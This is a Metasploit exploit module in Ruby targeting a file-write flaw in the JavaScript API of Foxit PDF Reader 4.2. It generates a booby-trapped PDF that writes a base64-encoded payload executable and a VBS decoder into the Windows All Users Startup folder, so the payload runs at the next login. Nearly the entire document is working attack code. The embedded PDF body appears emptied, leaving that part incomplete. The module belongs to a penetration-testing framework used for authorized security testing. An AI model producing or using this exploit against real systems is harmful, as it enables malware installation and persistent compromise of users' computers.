## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => 'Foxit PDF Reader 4.2 Javascript File Write', 'Description' => %q{ This module exploits an unsafe Javascript API implemented in Foxit PDF Reader version 4.2. The createDataObject() Javascript API function allows for writing arbitrary files to the file system. This issue was fixed in version 4.3.1.0218. Note: This exploit uses the All Users directory currently, which required administrator privileges to write to. This means an administrative user has to open the file to be successful. Kind of lame but thats how it goes sometimes in the world of file write bugs. }, 'License' => MSF_LICENSE, 'Author' => [ 'bannedit', # metasploit module 'Chris Evans' # Initial discovery and exploit ], 'References' => [ [ 'OSVDB', '71104' ], [ 'URL', 'http://scarybeastsecurity.blogspot.com/2011/03/dangerous-file-write-bug-in-foxit-pdf.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => true }, 'Platform' => 'win', 'Targets' => [ ['Automatic', { 'auto' => true } ], # uses both ['Foxit PDF Reader v4.2 (Windows XP SP0-SP3)', {}], ['Foxit PDF Reader v4.2 (Windows Vista/7/8/2008)', {}], ], 'DisclosureDate' => '2011-03-05', 'DefaultTarget' => 0)) register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), OptString.new('DECODER', [ true, 'The decoder script.', 'vbs_b64']), ]) end def exploit decoder_file = rand_text_alpha(rand(6) + 1) payload_file = rand_text_alpha(rand(6) + 1) ext = '.b64' exe = generate_payload_exe payload_b64 = Rex::Text.encode_base64(exe) decoder = build_decoder(decoder_file, payload_file) path_old = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/' path_new = 'c:/Users/All Users/Start Menu/Programs/Startup/' pdf = %Q| %PDF 1 0 obj<> 2 0 obj<> trailer<>| file_create(pdf) end def build_decoder(decoder_file, payload_file) file = [] decoder_bat = Msf::Config.data_directory + "/exploits/cmdstager/" case datastore['DECODER'] when 'vbs_b64_adodb' decoder_bat << datastore['DECODER'] when 'vbs_b64' decoder_bat << datastore['DECODER'] else print_status("Selected decoder is incompatible with this exploit.") print_status("Defaulting to vbs_b64 decoder.") decoder_bat << 'vbs_b64' end decoder = File.new(decoder_bat, "r").read decoder << "cscript //nologo C:/Windows/Temp/" + decoder_file + '.vbs' decoder.gsub!(/\"/, '\"') decoder.gsub!(/\n/, " && ") decoder.gsub!(/ENCODED/, "C:/Windows/Temp/" + payload_file + '.b64') # payload.b64 decoder.gsub!(/DECODED/, "C:/Windows/Temp/" + payload_file + '.exe') # payload.exe decoder.gsub!(/decode_stub/, "C:/Windows/Temp/" + decoder_file + '.vbs') return decoder = Rex::Text.uri_encode(decoder) end end

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